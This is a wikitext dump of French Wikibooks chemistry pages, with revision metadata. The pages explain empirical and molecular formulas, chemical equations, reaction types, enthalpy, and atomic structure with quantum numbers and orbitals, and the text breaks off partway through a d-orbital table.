formule empirique d´une substance est le rapport simple du nombre d´atomes de chaque élément dans le composé. La formule empirique est ambigue, c'est-à-dire la formule CH peut représenter CH, C2H2, C3H3, etc. Ces dernières formules sont appelées formules moléculaires. Il s'ensuit que la formule moléculaire est toujours un multiple entier de la formule empirique d´un composé. Calculer la formule empirique est facile si la quantité relative de chaque élément dans le composé est connue. Par exemple, si un échantillon contient 1,37 moles d'oxygène et 2,74 moles d´hydrogène, nous pouvons calculer la formule empirique. Une bonne tactique est de diviser toutes les quantités par la plus petite quantité non entière et ensuite multiplier les résultats par des nombres entiers successifs jusqu´à obtenir des rapports simples. <TABLE BORDER="0" WIDTH="65%"> <TR> <TD WIDTH="33%">'''Hydrogène'''</TD> <TD WIDTH="33%">'''Oxygène'''</TD> <TD WIDTH="34%">&nbsp;</TD> </TR> <TR> <TD WIDTH="33%">2,74</TD> <TD WIDTH="33%">1,37</TD> <TD WIDTH="34%">diviser par 1,37</TD> </TR> <TR> <TD WIDTH="33%">2</TD> <TD WIDTH="33%">1</TD> <TD WIDTH="34%">Résultat</TD> </TR> </TABLE> La formule empirique du composé est H<sub>2</sub> O. <Br> Autre exemple : Un échantillon de [[w:Piperonal|piperonal]] contient 1,384 moles de carbone, 1,033 moles d´hydrogène et 0,519 moles d´oxygène. <TABLE BORDER="0" WIDTH="60%"> <TR> <TD WIDTH="25%">Carbone</TD> <TD WIDTH="25%">Hydrogène</TD> <TD WIDTH="25%">Oxygène</TD> <TD WIDTH="25%">&nbsp;</TD> </TR> <TR> <TD WIDTH="25%">1,384</TD> <TD WIDTH="25%">1,033</TD> <TD WIDTH="25%">0,519</TD> <TD WIDTH="25%">diviser par 0,519</TD> </TR> <TR> <TD WIDTH="25%">2,666</TD> <TD WIDTH="25%">2</TD> <TD WIDTH="25%">1</TD> <TD WIDTH="25%">multiplier par 3</TD> </TR> <TR> <TD WIDTH="25%">8</TD> <TD WIDTH="25%">6</TD> <TD WIDTH="25%">3</TD> <TD WIDTH="25%">Réponse</TD> </TR></TABLE> La formule empirique du piperonal est C<sub>8</sub>H<sub>6</sub>O<sub>3</sub> === Transformant à partir des masses === Souvent, on connaît la composition relative en masse et on veut connaître la formule empirique. Ces masses doivent d´abord être converties en moles en utilisant les techniques exposées ci-dessus. Par exemple, un échantillon d´[[w:Alcool éthylique|alcool éthylique]] contient, en masse, 52,1 % de carbone, 13,2 % d´hydrogène et 34,7 % d´oxygène. Par hypothèse, 100 g de cette substance contient 52,1 g de carbone, 13,2 g d´hydrogène et 34,7 g d´oxygène. Divisant ces valeurs par leur poids moléculaire, nous obtenons la quantité de moles de chaque élément. Ces valeurs sont 4,34, 13,1 et 2,17 <TABLE BORDER="0" WIDTH="60%"> <TR> <TD WIDTH="25%">'''carbone'''</TD> <TD WIDTH="25%">'''hydrogène'''</TD> <TD WIDTH="25%">'''oxygène'''</TD> <TD WIDTH="25%">&nbsp;</TD> </TR> <TR> <TD WIDTH="25%">4,34</TD> <TD WIDTH="25%">13,1</TD> <TD WIDTH="25%">2,17</TD> <TD WIDTH="25%">diviser par 2,17</TD> </TR> <TR> <TD WIDTH="25%">2</TD> <TD WIDTH="25%">6</TD> <TD WIDTH="25%">1</TD> <TD WIDTH="25%">réponse</TD> </TR> </TABLE> La formule de l´alcool éthylique est C<sub>2</sub>H<sub>6</sub>O === Formules moléculaires === Comme mentionné plus haut, la formule moléculaire d´une substance est toujours un multiple entier de la formule empirique. Pour calculer la formule moléculaire à partir de la formule empirique, nous avons besoin de connaître la masse molaire de la substance. Par exemple, la formule empirique du [[w:Benzène|benzène]] est CH et sa masse molaire est 78,12 g mol<sup>-1</sup>. Si nous divisons la masse molaire réelle par la masse molaire de la formule empirique, nous obtenons la formule moléculaire. <TABLE BORDER="0" WIDTH="46%"> <TR> <TD WIDTH="39%">M(CH)</TD> <TD WIDTH="61%">= 13,2 g mol<sup>-1</sup></TD> </TR> <TR> <TD WIDTH="39%">M(benzène)</TD> <TD WIDTH="61%">= 78,12g&nbsp; mol<sup>-1</sup>;</TD> </TR> <TR> <TD WIDTH="39%">M(benzène)/M(CH)</TD> <TD WIDTH="61%">= 6</TD> </TR> </TABLE> Selon le résultat ci-dessus, la formule moléculaire est 6 fois la formule empirique de CH La formule moléculaire pour le benzène est C<sub>6</sub>H<sub>6</sub> Introduction(Chimie Générale) 68 11872 2004-11-02T13:57:06Z 82.255.81.58 /* Introduction */ {{Chimiegénérale}} == Introduction == Une de nos premières impressions à la naissance est que le monde est plein de choses, plein de matières. La chimie essaye de répondre aux questions sur la nature de la matière. Tentons de monter de manière intuitive la différence entre transformations chimiques et transformations physiques Nous sommes sensibles aux phénomènes comme la lumière, la chaleur ([[w::température|température]]), la distance, le temps, la [[w::force|force]]. Quand une combinaison de ceux-ci agit sur de la matière, cette matière est modifiée d´une façon ou d´une autre. Par exemple, lorsqu´on pousse une boite, celle-ci peut changer de place: c´est une transformation physique Typiquement, quand de la matière subit une [[w:transformation physique|transformation physique]] comme la division en deux morceaux, le produit résultant a les mêmes propriétés physiques : la densité, le point d´ébullition, la résistance etc,.en général, restent inchangés. Dans le cas d´un morceau de fromage qui a été coupé en deux, nous constatons que les morceaux sont encore du même type de fromage quoique plus petits, plus légers et plus facile à manger d´une seule bouchée ; c´est encore une [[w: transformation physique|transformation physique]] .Cependant, si la matière subit une [[w:transformation chimique|transformation chimique]], le résultat en est une ou plusieurs substances différentes avec leurs propres propriétés. Une fois le fromage mangé, il est attaqué par divers fluides pour produire une grande quantité de produits et ainsi subit une [[w:transformation chimique|transformation chimique]] Comment se produit une [[w:transformation chimique|transformation chimique]] ? L´explication est que chaque matière consiste en minuscules particules appelées [[w:atomes|atomes]]. Ces atomes se lient entre-eux pour former de particules plus grandes appelées [[w:molecule|molécules]] ou si elles sont chargées électriquement, elles se combinent sous l´effet de l´attraction des charges positives et négatives. Quelle substance est formée, cela dépend de la manière dont se combinent les atomes. Des combinaisons différentes donnent lieu à d´autres substances. ''' La chimie '''est la science de la manière dont les atomes réagissent et combinent les uns avec les autres. Des sciences apparentées telles que la [[w:mécanique quantique|mécanique quantique]], contribuent à la chimie pour expliquer beaucoup d´aspects des réactions chimiques. Réactions chimiques (Chimie générale) 69 42940 2006-05-21T19:17:20Z 83.196.54.18 /* Réactions endothermiques et exothermiques */ {{Chimiegénérale}} == Équations chimiques == Les équations chimiques sont un bon moyen normalisé pour décrire les réactions chimiques. Elles contiennent les informations suivantes : *Le type de réactifs consommés et de produits formés *La quantité relative de réactifs et de produits *La charge électrique des [[w:Ion|ions]] *L´état physique de chaque espèce (gaz, liquide, solide, solution) *Les conditions de réaction (par exemple : température, pression, [[w:Catalyseur|catalyseurs]]) Ces deux derniers points sont facultatifs et peuvent être omis. ===Coefficients stoechiométriques=== Les nombres en face de chaque espèce ont une signification très importante - ils indiquent les quantités relatives d´atomes qui réagissent. Le nombre en face de chaque espèce est appelé coefficient stoechiométrique. Dans l´équation ci-dessus, par exemple, une molécule d'H<sub>2</sub> réagit avec une molécule de Cl<sub>2</sub> pour produire deux molécules de HCl. (C'est-à-dire une mole d'H<sub>2</sub> et une mole de Cl<sub>2</sub> produisent 2 moles de HCl.) Exemples <center><math>\hbox{CH}_{4(g)} + 2\hbox{O}_{2(g)} \to \hbox{CO}_{2(g)} + 2\hbox{H}_2\hbox{O}_{(g)}\,</math></center> équation de combustion du [[w:Méthane|méthane]] (CH<sub>4</sub>) en présence d´oxygène (O<sub>2</sub>) pour former du [[w:Dioxyde de carbone|dioxyde de carbone]] et de l´eau (CO<sub>2</sub> et H<sub>2</sub>O) <center><math>\hbox{Pb}_{(aq)}^{2+} + 2\hbox{I}_{(aq)}^- \to \hbox{PbI}_{2(s)}</math></center> ===Anatomie d´une équation=== <center><math>\hbox{H}_{2 (g)} + \hbox{Cl}_{2 (g)} \to 2\hbox{HCl}_{(g)}</math></center> L´[[w:Hydrogène|hydrogène]] et le [[w:Chlore|chlore]] réagissent vigoureusement pour produire le gaz [[w:Chlorure d´hydrogène|chlorure d´hydrogène]]. L´équation ci-dessus illustre cette réaction. Les réactifs, hydrogène et chlore, sont écrits à gauche et les produits (chlorure d´hydrogène) sont écrits à droite. Le nombre 2 devant HCl indique que deux molécules de HCl sont produites pour chaque molécule d´hydrogène et de chlore consommée. Le 2 en indice après le H indique qu´il y a deux atomes d´hydrogène dans chaque molécule de gaz hydrogène. Finalement le symbole (g) de chaque espèce indique que ce sont des gaz. "Espèce" dans une réaction chimique est un terme général utilisé pour désigner les atomes, molécules ou ions. Une espèce peut contenir plus d´un élément chimique (HCl, par exemple, contient hydrogène et chlore). Les espèces dans les réactions chimiques sont écrites : <center><math>\hbox{E}_{x(s)}^y</math></center> E est le symbole chimique de l´élément, x est le nombre d´atomes de cet élément dans l´espèce, y est la charge (s´il s´agit d´un ion) et (s) est l´état physique de celui-ci. Le symbole entre parenthèses (souscrit en-dessous de chaque espèce) indique l´état physique de chaque réactif ou produit. ***(s) signifie solide ***(l) signifie liquide ***(g) signifie gaz ***(aq) signifie solution aqueuse (dissous dans l´eau) Par exemple, l´[[w:Alcool éthylico|alcool éthylique]] doit être écrit <math>\hbox{C}_2\hbox{H}_6\hbox{O}_{(l)}</math> parce que chaque molécule contient deux atomes de carbone, six d´hydrogène et un d´oxygène et qu´il est sous forme liquide (dans les Conditions Standard de Température et de Pression -CSTP). Un ion magnésium doit être écrit <math>\hbox {Mg}^{2+}</math> parce qu'il a une double charge positive. Finalement, un ion [[w:Ammonium|ammonium]] doit être écrit <math>[\hbox{NH}_4]^+</math> parce que chaque molécule contient un atome d'[[w:Azote|azote]] et quatre d´hydrogène et possède une charge +1. ------ == Équilibrage des équations == Les équations chimiques sont utiles parce qu´elles donnent les quantités relatives des substances qui réagissent dans une réaction chimique. Par exemple, de l´équation chimique de la formation de l´[[w:Ammoniac|ammoniac]] (à l'état gazeux), nous pouvons déduire qu´une mole d'[[w:Azote|azote]] (à l'état gazeux) se combinera avec trois moles d'[[w:Hydrogène|hydrogène]] (à l'état gazeux). <center><math>\hbox{N}_{2 (g)} + 3{\hbox{H}_{2(g)}} \to 2\hbox{NH}_{3(g)}\,</math></center> Dans certains cas, cependant, nous ne connaissons pas la quantité relative des produits de la réaction. Heureusement, nous pouvons trouver les coefficients corrects d´une équation (la quantité relative de chaque réactif et de chaque produit) appliquant la [[w:Loi de la conservation de la matière|loi de conservation de la matière]]. Vu que la matière ne peut jamais être ni créée ni détruite, le nombre total de chaque atome d´un côté de l´équation doit être le même que le total de l´autre côté. Ce procédé de recherche des coefficients s´appelle '''Équilibrer les Équations''' ----- == Types de réactions chimiques == Les réactions chimiques sont divisées en diverses classes, chacune avec ses caractéristiques. Ces différents types de réactions seront examinés en détail dans ce livre. ===Réactions de précipitation=== Il y a réaction de précipitation quand une substance ionique se sépare de la solution et forme un solide insoluble (ou peu soluble). Le solide qui se sépare de la solution est appelé précipité. Cela se passe si deux sels solubles (composés ioniques) sont mélangés et forment un insoluble - le précipité. Un exemple est le [[w:Nitrate de plomb|nitrate de plomb]] qui mélangé avec de l´[[w:Iodure de potassium|iodure de potassium]] forme un précipité d'[[w:Iodure de plomb|iodure de plomb]]. <center><math>\hbox{Pb}(\hbox{NO}_3)_{2(aq)} + 2\hbox{KI}_{(aq)} \to \hbox{PbI}_{2(s)} + 2\hbox{KNO}_{3(aq)}\,</math></center> Notons que l´[[w:Iodure de Plomb|iodure de plomb]] est sous la forme d´un solide. L´équation ci-dessus est écrite sous la forme moléculaire, ce qui n´est pas la meilleure façon de décrire une réaction. Chacun des éléments existe en solution comme ions individuels sans aucune liaison avec aucun autre (comme ils sont liés dans le cristal d´iodure de potassium). Si vous l´écrivez sous forme d´équation ionique, vous aurez une idée bien meilleure de ce qui se passe réellement. <center><math>\hbox{Pb}_{(aq)}^{2+} + 2\hbox{I}_{(aq)}^- \to \hbox{PbI}_{2(s)}</math></center> En solution, il y a des ions plomb et des ions [[w:Iodure|iodure]]. Vu que l´iodure de plomb est insoluble, il cristallise spontanément et forme un précipité. ===Réactions acide-base=== En termes simples, un [[w:acide|acide]] est une substance qui peut perdre un ion H<sup>+</sup> (c'est-à-dire un proton) et une base une substance qui peut accepter un proton. Lorsque des quantités égales d´acide et de base réagissent, elles se neutralisent l´une l´autre, formant des espèces qui ne sont ni acides ni basiques. Par exemple, lorsque l´acide chlorhydrique et l´hydroxyde de sodium réagissent, ils se neutralisent pour former de l´eau et du chlorure de sodium (sel de cuisine). <center><math>\hbox{HCl} + \hbox{NaOH} \to \hbox{H}_2\hbox{O} + \hbox{NaCl}\,</math></center> De nouveau, nous aurons une image plus claire de ce qui se passe en écrivant une équation ionique. <center><math>\hbox{H}^+ + \hbox{OH}^- \to \hbox{H}_2\hbox{O}\,</math></center> Les réactions acide-base souvent se passent en solution aqueuse, mais elles peuvent aussi se passer dans l´état gazeux. Les acides et les bases seront discutés avec plus de détails dans le chapitre [[Acides et bases (Chimie générale|acides et bases]] ===Les réactions redox=== Rédox est une abréviation de réactions de réductions/oxydation. C´est exactement ce qui arrive dans une réaction rédox, une espèce est réduite et l´autre est oxydée. Dans la réduction, il y a un gain d´électrons et dans l´oxydation, une perte d´électrons. Les électrons sont transférés d´une espèce à l´autre. Les réactions où quelque chose est brûlé sont des exemples de réactions rédox, cependant des réactions rédox se passent aussi en solution où c´est très utile et cela forme la base de l´électrochimie. Les réactions rédox sont souvent écrites comme deux demi-réactions montrant séparément les processus de réduction et d´oxydation. Ces demi-réactions sont balancées (multipliant chacune par un coefficient) et additionnées l´une à l´autre pour former l´équation finale. Quand du magnésium est brûlé dans l´oxygène, il perd des électrons (il est oxydé). D´un autre côté, l´oxygène gagne des électrons du [[w:magnésium|magnésium]] (il est réduit). <center><math>\begin{matrix} \hbox{Mg} &\to& \hbox{Mg}^{2+} + 2e^- & \times 2 \\ \hbox{O}_2 + 4e^- &\to& 2\hbox{O}^{2-} & \times 1 \\ 2\hbox{Mg} + \hbox{O}_2 + 4e^- &\to& 2\hbox{MgO} + 4e^- & \ \\ \end{matrix}</math></center> Les réactions rédox seront développées dans le chapitre Redox. ===Les réactions organiques=== Les réactions organiques se passent entre deux molécules organiques (molécules contenant l´élément carbone). Comme il n´y a pratiquement pas de limite au nombre de molécules organiques, le domaine des réactions organiques est très grand. Cependant, beaucoup de caractéristiques des molécules organiques sont déterminées par leurs groupes fonctionnels - petits groupes d´atomes qui réagissent de manières prévisibles. Un autre concept de base en réaction organique est la basicité de Lewis. Une partie de la molécule peut être électrophile (qui aime les électrons) ou nucléophile (qui aime les noyaux, les charges positives). Les régions nucléophiles ont un excès d´électrons - elles agissent comme bases de Lewis - tandis que les régions électrophiles manquent d´électrons et agissent comme des acides de Lewis. Les régions électrophiles et nucléophiles réagissent entre elles. Les réactions organiques ne font pas partie du sujet de ce livre, et sont traitées avec plus de détails dans la Chimie Organique. ----- == Changement d´énergie dans les réactions chimiques == ===Réactions endothermiques et exothermiques=== *Le dégagement de chaleur dans les réactions chimiques se produit lorsque les réactifs ont un contenu énergétique supérieur à celui des produits formés. L´énergie chimique dans un corps est un type d´énergie potentielle contenue dans la substance. Cette énergie chimique potentielle est l´entalpie de la substance et est indiqué par le symbole H. *L´ensemble des atomes et des molécules qui participent à la réaction est normalement nommé système et tout ce qui l´entoure le milieu. *Si l´enthalpie diminue durant la réaction chimique, une quantité égale d´énergie doit être dégagée dans le milieu. ===Exemple : réaction exothermique=== Quand le [[w:Méthane|méthane]] brûle dans l´air, la chaleur dégagée correspond à une diminution d´enthalpie qui se produit lorsque les réactifs sont transformés en produits. <center>CH<sub>4</sub>(<i>g</i>) + 2O<sub>2</sub>(<i>g</i>) &rarr; CO<sub>2</sub>(<i>g</i>) + 2H<sub>2</sub>O(<i>g</i>) + <i>énergie</i><br/><br/></center> *La différence d´[[w:Enthalpie|enthalpie]] entre les réactifs et les produits est égale à la quantité d´énergie dégagée vers le milieu. Une réaction dans laquelle de l´énergie est dégagée vers le milieu est appelée réaction exothermique. Dans ce type de réaction, l´enthalpie, ou l´énergie chimique emmagasinée, est plus petite dans les produits que dans les réactifs. *Les réactions qui absorbent de l´énergie résultent en produits qui ont une enthalpie plus grande que les réactifs. ===Exemple : réaction endothermique=== <center>4C(<i>s</i>) + 8S(<i>g</i>) + <i>énergie</i> &rarr; 4CS<sub>2</sub>(<i>g</i>)<br/><br/></center> * La différence entre l´entalpie des réactifs et des produits est égale à la quantité d´énergie absorbée du milieu. Une réaction où l´énergie est absorbée du milieu est appelée réaction endothermique. Dans une réaction endothermique, l´entalpie des produits est plus grande que celle des réactifs. *Vu que les réactions absorbent ou dégagent de l´énergie, elles modifient la température du milieu. Les réactions exothermiques réchauffent le milieu et les réactions endothermiques le refroidissent. ---- Structure atomique (Chimie générale) 70 41731 2006-05-07T05:58:28Z 84.103.99.81 /* La nature ondulatoire de l´électron */ {{Chimiegénérale}} == Noyaux et électrons == ===Orbitales électroniques=== Une orbitale électronique peut être définie comme une région de l'espace dans laquelle la probabilité de trouver un électron est grande. La forme et la taille des orbitales électroniques est déterminée dans le cadre de la théorie quantique de l'atome. Si, dans une expérience mentale, on réalise une série de clichés photographiques d'un atome à des moments successifs, on observera les électrons à différents endroits autour du noyau. Plus la probabilité de trouver l'électron à un endroit est grande, plus le cliché montrera de photos de l'électron à cet endroit. Finalement, le cliché obtenu montrera des sortes de nuages autour du noyau. La densité d'un nuage à un endroit donné sera d'autant plus grande que la probabilité de trouver l'électron à cet endroit est grande. Chacune des orbitales décrites est caractérisée par un certain niveau d'énergie des électrons qu'elle contient. En première approximation, plus l'orbitale est grande -et donc, plus les électrons qu'elle contient sont éloignés du noyau, plus l'énergie potentielle des électrons contenus est grande, de la même manière qu´une pierre au sommet d´une colline a une énergie potentielle plus grande que celle qui se trouve au fond de la vallée. ===La nature ondulatoire de l´électron=== &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Les électrons se comportent comme des particules mais aussi comme des ondes. (Les travaux d'Albert Einstein, entre autres, montrent, en effet, que la lumière et toute la matière se comportent ainsi.) Un des résultats de cette observation est que les électrons ne peuvent être sur une orbite de n´importe quelle énergie.<br> Pensons à une onde stationnaire sur une corde de guitare. Il n´y a qu´un nombre entier de demi-longueurs d´onde qui peut former une onde stationnaire sur la corde. <br>C´est la même chose pour une coque atomique. Comme l´énergie dépend de la longueur d´onde, l´énergie de l´électron dans un atome (un électron lié) est quantifiée. Cela signifie que l´énergie est limitée à certaines valeurs distinctes, une pour chaque coque avec aucune valeur intermédiaire. En plus de cela, il n´y a pas que l´énergie qui est quantifiée, d´autres propriétés de l´électron le sont aussi. Celles-ci sont aussi des valeurs distinctes sans valeur intermédiaires. Le moment angulaire est quantifié, le spin est quantifié, les composants du moment angulaire dans chaque direction sont aussi quantifiées. <br>Il y a en fait une liste de règles pour déterminer quelles sont les valeurs que chacune de ces propriétés peut prendre. ---- == Introduction à la théorie quantique == L´idée fondamentale de la mécanique quantique, énoncée par Louis de Broglie, est que la matière est associée à une onde ou plutôt aux propriétés d´une onde. Mathématiquement, cette idée se traduit par la relation : <center><math>p\;=\;\frac{h}{\lambda}</math></center> où p est la quantité de mouvement <math>p=mv</math> et h est la constante de Planck qui vaut 6,626 10<sup>-34</sup>J.s .-- Du binôme matière - onde, on a déduit le '''principe d´incertitude''' de Heisenberg qui dit qu´il est impossible de vérifier, avec précision, la position et la quantité de mouvement d´une particule en mouvement. <center><math>\Delta p\;\cdot\;\Delta x\;\ge\;\frac{h}{4\pi}</math></center> On défini aussi la constante de Planck réduite ou constante de Dirac : <center><math>\hbar\;=\;\frac{h}{2\pi}</math></center> Le principe d´incertitude n´a pas d´influence sur notre vie courante ; voyons un exemple : '''Une voiture''' de 500 kg se déplace à une vitesse de 80 km/h. Supposons que cette vitesse soit connue à 0,5 km/h près. Quelle est l´erreur minimum possible sur la détermination de la position du véhicule ? <center><math>\Delta x\;\ge\;\frac{\hbar}{2m \Delta v}= \frac{1,054\cdot 10^{-34}\cdot 3600}{1000\cdot 0,5} = 7,6 \cdot 10^{-34}m</math></center> Ce qui est insignifiant. Pour un électron, c´est tout à fait différent. Un '''électron''' de 9,1 10<sup>-31</sup> kg fait partie d´un atome d´hydrogène qui a un diamètre de 2 10<sup>-10</sup> m. Sa position est donc connue à 10<sup>-10</sup> m près. Quelle précision maximum puis-je obtenir sur la vitesse de cet électron ? <center><math> \Delta v\;=\;\frac{\hbar}{2\Delta x\cdot m}\;=\;500 km/h</math></center> On voit donc pourquoi nous ne parlons pas de la position de l´électron mais bien de sa probabilité de se trouver dans une position. ::Il est probablement difficile de comprendre ce début d´exposé sur la mécanique quantique. Beaucoup penseront que tout cela n´entre pas dans le bon sens. En fait, il ne s´agit pas de comprendre cette théorie mais bien de la connaître. Peu à peu, il a été établi que la mécanique quantique mène à des conséquences réelles, palpables et matérielles. ::Il n´y a pas plus de bon sens d´accepter les lois de Newton que tout le monde accepte mais qui ont dû aussi perturber les esprits à l´époque où elles ont été énoncées. ====L´équation de Schrödinger==== Si l´on dit qu´à la matière est associée une onde, il doit y avoir une équation qui représente cette onde. Cette équation a été établie par Erwin Schrödinger. Dans une équation quelconque y = f(x), il peut arriver que certaines valeurs de x ne donnent pas de solution à l´équation. Par exemple, y = log(x) n´admet de solutions que pour les valeurs positives de x. De la même manière, l´équation de Schrödinger n´admet comme solution qu´un nombre limité de valeurs. On dit que ces solutions sont quantifées, plus précisement, et copions le ''Petit Robert'' : « Quantifié : Se dit d´une grandeur physique qui ne peut prendre que certaines valeurs caractérisées par des nombres entiers multiples d´une valeur discréte, le quanta. » Ce qui est quantifié, c´est l´énergie, la position, les moments angulaire et magnétique... Mais quelle est cette fameuse équation de Schrödinger ? Regardez-la et <u>oubliez-la immédiatement</u> : <center><math>i\hbar\frac{\part\Psi}{dt};=\;-\frac{\hbar^2}{2m}\Delta \Psi\;+\;U(x,y,z)\Psi</math></center> ==Les Nombres Quantiques== {| border="1" | '''Nombre''' || '''Symbole''' || '''Valeurs possibles''' || '''Signification''' |- | Nombre quantique principal || '''''n''''' || 1, 2, 3, 4, 5 ... ||Indique la coque où se trouve l´électron. C´est le facteur principal pour déterminer l´énergie de l´électron (plus grand est n, plus grande est l´énergie) et aussi pour indiquer la distance de l´électron au noyau (plus grand est n, plus l´électron est éloigné du noyau). |- | Nombre quantique angulaire || '''''l''''' || 0, 1, 2, 3, ..., (''n'' - 1) || Indique la sous-coque qui contient l´électron. Il correspond aux sous-coques s, p, d, f (0 correspond à s, 1 à p, etc. Il peut prendre les valeurs 0 à n-1). |- | Nombre quantique magnétique || '''''m<sub>l</sub>''''' || -''l'' ... -2, -1, 0, +1, +2 ... +''l'' || Indique dans quelle orbitale se trouve l´électron. Par exemple, il y a trois orbitales p, le nombre quantique magnétique indique dans laquelle des trois orbitales se trouve l´électron. Il peut prendre les valeurs de -l à +l. |- | Nombre quantique de spin || '''''m<sub>s</sub>''''' || +½, -½ || Indique le spin de l´électron. Il ne peut prendre qu´une des deux valeurs et ne dépend pas des autres nombres quantiques. |} ---- == Couches électroniques et orbitales == &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Quand un atome ou un ion reçoit des électrons dans ses orbitales, les nuages et les orbitales se remplissent d´une manière définie. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Il y a trois principes qui gouvernent ce processus 1) Le principe de remplissage 2) Le principe d´exclusion de Pauli 3) Un troisième <h3> Principe de remplissage </h3> <h3> Principe d´exclusion </h3> <h3> Orbitales atomiques </h3> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Les électrons circulent sur des orbites atomiques dans des nuages de forme et grandeurs variées. Les nuages d´électrons sont en coques imbriquées les unes dans les autres où les électrons occupant les coques les plus petites et les plus internes possèdent le plus bas état énergétique et ceux occupant les coques les plus grandes et les plus externes, le plus haut état d´énergie. Plus l'orbite électronique est éloignée du noyau, plus l´électron possède une énergie potentielle élevée. Tout comme une pierre qui se trouve au sommet de la colline posséde une énergie potentielle plus grande que celle qui se trouve au fond de la vallée. === La nature ondulatoire de l´électron=== &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Les électrons se comportent en particules mais aussi en ondes. (Les travaux de Einstein et autres montrent que la lumière et la matière se comportent avec cette double nature qui est observée plus clairement pour les particules très petites). Un des résultats de cette observation est que les électrons ne peuvent se déplacer sur une orbite de n´importe quelle énergie. Pensez à une onde stationnaire sur une corde de guitare. Il n´y a qu´un nombre entier de demi-ondes qui peuvent créer une onde stationnaire sur la corde. C´est la même chose pour les coques électroniques. Comme l´énergie dépend de la longueur d´onde, l´énergie d´un électron dans un atome (électron lié) est '''quantifiée'''. Cela signifie que l´énergie est limitée à des valeurs distinctes, une pour chaque coque sans valeurs "entre deux". De plus, il n´y a pas que l´énergie qui est quantifiée, d´autres propriétés de l'électron sont aussi attribuées par valeurs discrètes. Le moment angulaire est quantifié, le "spin" est quantifié, les composants du moment angulaire sont aussi quantifiées. Il y a en fait une série de règles qui s´appliquent aux valeurs que peuvent prendre ces propriétés. ===Coques électroniques=== &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chaque coque est divisée en une ou plusieurs orbitales, chacune d´elles ayant un moment angulaire différent. Chaque orbitale a une forme différente et est nommée par une lettre. Ce sont: '''s''', '''p''', '''d''', and '''f'''. (qui signifient ''Sharp''-étroite-, ''principle''- principale-, ''diffuse''-difuse-, et ''fundamental''-fondamentale- ce qui fait référence au raies vues au spectroscope) . Dans un atome avec un électron, l´énergie de toutes les orbitales dans une coque particulière est identique. Cependant lorsqu´il y a plus d´un électron , ils interagissent entre eux et séparent les orbitales entre des énergies légèrement différentes. Dans chaque coque, l´énergie des orbitales dépend du moment angulaire, l´orbitale ''s'' ayant la plus petite énergie, puis la ''p'' et ainsi de suite. ===L´orbitale s=== <div style="float:left;margin:0 1em 1em 0;width:150px;">[[image:1s_orbital.jpg|Atomic 1s orbitals]]<br>''Image stylisée de l´orbitale 1s''</div>. L´orbitale la plus simple dans un atome est l´orbitale 1s. Elle n´a pas de noeuds radiaux ou angulaires&nbsp;: l´orbitale 1s est simplement une sphère de densité d´électron. Comme pour toutes les orbitales, le nombre de noeuds radiaux augmente avec le nombre quantique principal (c´est-à-dire l´orbitale ''2s'' a un noeud radial, la ''3s'' deux noeuds etc). Comme le nombre quantique de moment angulaire est zéro, il n´y a qu´une orbitale s par coque. L´orbitale ''s'' peut contenir deux électrons qui devront avoir des spins différents. <math>\begin{matrix} l &=& 0 \\ m_l &=& 0 \\ m_s &=& +\frac{1}{2}, -\frac{1}{2} \\ \end{matrix}</math> <br clear="all"/> ===L´orbitale p=== <div style="float:left;margin:0 1em 1em 0;width:150px;">[[image:2p_orbitals.jpg|Atomic 2p orbitals]]<br>''Image stylisée des orbitales p ''</div> A partir de la 2<sub>ieme</sub>coque, il y a plusieurs orbitales ''p''. Il n´y a qu´un nombre quantique de moment angulaire dans une orbitale ''p'' ainsi l´orbitale ''p'' n´a qu´un noeud angulaire. Il y a trois possibilités de nombre magnétique quantique qui indiquent trois possibilités d´orientations des orbitales p. Finalement, chaque orbitale peut recevoir deux électrons (de spins opposés) donnant une capacité totale de 6 électrons. (<math>\begin{matrix} l &=& 1 \\ m_l &=& -1,0,1 \\ m_s &=& +\frac{1}{2}, -\frac{1}{2} \\ \end{matrix}</math> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Les orbitales ''p'' ont deux lobes de densité d´électron situés sur chacun des axes. Chacune est symétrique sur son axe. La notation des orbitales ''p'' indique sur quel axe se trouve l´orbitale c´est-à-dire que p<sub>x</sub> pointe le long de l´axe des x, p<sub>y</sub> le long de l´ axe des y et p<sub>z</sub> le long de l´axe des z . Les orbitales p sont "dégénérées" parce qu´elles ont la même énergie. <table border="1px"> <tr><th>2p<sub>x</sub></th><th>2p<sub>y</sub></th><th>2p<sub>z</sub></th></tr> <tr><td>[[Image:2p_x_orbital.jpg]]</td><td>[[Image:2p_y_orbital.jpg]]</td><td>[[Image:2p_z_orbital.jpg]]</td></tr> </table> <br clear="all"/> ===Les Orbitales d=== <div style="float:left;margin:0 1em 1em 0;width:150px;">[[image:3d_orbitals.jpg|Atomic 3d orbitals]]<br>''Image stylisée des toutes les orbitales atomiques d''</div>. Le premier ensemble d´orbitales ''d'' est le groupe 3d. Le nombre quantique angulaire est 2, ainsi chaque orbitale a deux noeuds angulaires. Il y a cinq possibilités pour le nombre quantique magnétique, ce qui donne cinq orbitales diférentes. Chaque orbitale peut contenir deux électrons (de spins opposés) donnant une capacité de 10 électrons. <math>\begin{matrix} l &=& 2 \\ m_l &=& -2,-1,0,1,2 \\ m_s &=& +\frac{1}{2}, -\frac{1}{2} \\ \end{matrix}</math> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Notons que toutes les orbitales ''d'' ont quatre lobes de densité d´électrons sauf d<sub>z2</sub>, qui a deux lobes opposés. Les orbitales ''d'' peuvent être subdivisées en deux petit groupes.Les orbitales d<sub>x2-y2</sub> et d<sub>z2</sub> pointent tous dans la direction des axes des x, y et x et forment un groupe '''e<sub>g</sub>''' . D´un autre coté, les lobes des orbitales d<sub>xy</sub>, d<sub>xz</sub> et d<sub>yz</sub> n´ont pas de densité électronique sur les axes. Ces trois orbitales forment le groupe '''t<sub>2g</sub>''' . Dans beaucoup de cas, les orbitales d sont dégénérées mais parfois, elles peuvent se diviser avec les sous-groupes e<sub>g</sub> et t<sub>2g</sub> ayant une énergie différente e<sub>g</sub> et t<sub>2g</sub> <table border="1px"> <tr><th>3d<sub>xy</sub></th><th>3d<sub>xz</sub></th><th>3d<sub>yz</sub></th><th>3d<sub>x2-y2</sub></th><th>3d<sub>z2</sub></th></tr> 